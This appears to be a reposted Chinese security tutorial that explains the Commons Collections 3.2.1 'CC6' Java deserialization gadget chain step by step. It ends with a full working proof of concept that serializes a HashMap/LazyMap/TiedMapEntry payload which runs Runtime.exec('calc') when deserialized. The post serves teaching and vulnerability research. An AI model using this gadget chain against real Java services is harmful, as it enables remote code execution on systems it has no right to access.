Java安全-CC6反序列化

admin 2024年7月15日21:00:27评论18 views字数 5455阅读18分11秒阅读模式

漏洞介绍

使用了3.2.1版本的Commons Collections从mvnrepository上搜索发现该版本已被提示存在两个风险

Java安全-CC6反序列化

点进去看到关联到两个CVE(CVE-2015-7501、CVE-2015-6420)

Java安全-CC6反序列化

该漏洞的poc利用链已被公开,也就是CC6利用链,CC6是最好用的利用链是因为CC6不限制jdk版本,只要commons collections版本小于等于3.2.1,都存在这个漏洞。

多条利用链:

Java安全-CC6反序列化

本次主要讲解CC6利用链,从图中看出整体的链子Gadget chain

java.io.ObjectInputStream.readObject()
    java.util.HashSet.readObject()
        java.util.HashMap.put()
        java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get()
                    org.apache.commons.collections.functors.ChainedTransformer.transform()
                    org.apache.commons.collections.functors.InvokerTransformer.transform()
                    java.lang.reflect.Method.invoke()
                        java.lang.Runtime.exec()

构造利用链

最终执行命令的类InvokerTransformer,反射架子所在方法transform(),里面根据传的参数利用反射直接调用invoke()函数进行命令执行。

Java安全-CC6反序列化

手动new一下试试这里的命令执行

public static void cc6() {    
    InvokerTransformer invokerTransformer = new InvokerTransformer(    
        "exec",    
        new Class[]{String.class},    
        new String[]
{"calc.exe"}    
    );    
    Object input = Runtime.getRuntime();    
    invokerTransformer.transform(input);    
}

把input参数也使用反射获取

public static void cc6() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {    
    InvokerTransformer invokerTransformer = new InvokerTransformer(    
        "exec",    
        new Class[]{String.class},    
        new String[]
{"calc.exe"}    
    );    
    Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));    
    invokerTransformer.transform(input);    
}

再往前倒,谁能调用InvokerTransformertransform()呢,找到了ChainedTransformerConstantTransformer

其中ChainedTransformer的构造方法给iTransformers赋值,然后transform()方法调用每一个iTransformerstransform()方法

Java安全-CC6反序列化

以及ConstantTransformer的构造方法给iConstant赋值,然后transform()方法直接返回入参的值

Java安全-CC6反序列化

套上这两个类,改造我们前面的利用脚本链子

public static void cc6() {    
    Transformer[] transformers = new Transformer[]{    
        new ConstantTransformer(Runtime.class), //获得Runtimeclass    
        new InvokerTransformer(    
            "getMethod",    
            new Class[]
{String.class,Class[].class}, //执行.getMethod("getRuntime")    
            new Object[]
{"getRuntime",new Class[0]}    
        ),    
        new InvokerTransformer(    
            "invoke",    
            new Class[]{Object.classObject[].class}, //执行.invoke()得到Runtime实例    
            new Object[]
{nullnull}    
        ),    
        new InvokerTransformer(    
            "exec",    
            new Class[]{String.class}, //传入Runtime实例    
            new Object[]
{"calc.exe"}    
        )    
    };    
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);    
    chainedTransformer.transform(null);    
}

继续往前找,再去找如何能触发ChainedTransformerConstantTransformertransform()方法,找到了LazyMapget()方法,里面给factory变量调用了transform()方法

Java安全-CC6反序列化

再往前找哪里可以调用LazyMapget()方法,看到TiedMapEntry类里面有getValue()方法里面有get,也就是只需要反序列化把map变量赋值为LazyMap类即可

Java安全-CC6反序列化

继续找哪里调用了getValue()方法,还是在LazyMap类中找到hashCode()方法

Java安全-CC6反序列化

然后继续往前追踪hashCode()方法,找到HashMap类里面存在hash()方法

Java安全-CC6反序列化

继续往前跟踪hash()方法的调用,找到还是在HashMap类中put()方法调用了hash()方法

Java安全-CC6反序列化

继续往前找发现HashSetreadObject()方法调用了HashMapput()方法,刚好readObject()就是反序列化的入口函数,链子就通了

Java安全-CC6反序列化

手动本地构造利用条件执行calc命令

Java安全-CC6反序列化

利用链代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

//cc-3.2.1.jar
public class CommonsCollections6 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]
{String.classClass[].class}, new Object[]{"getRuntime"new Class[0]}),
                new InvokerTransformer("invoke"new Class[]{Object.classObject[].class}, new Object[]{nullnull}),
                new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "3");

        lazymap.remove("2");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap, chainedTransformer);

        serial(hashMap);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
        in.readObject();
    }
}

原文始发于微信公众号(智佳网络安全):Java安全-CC6反序列化

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日21:00:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全-CC6反序列化https://cn-sec.com/archives/2957974.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息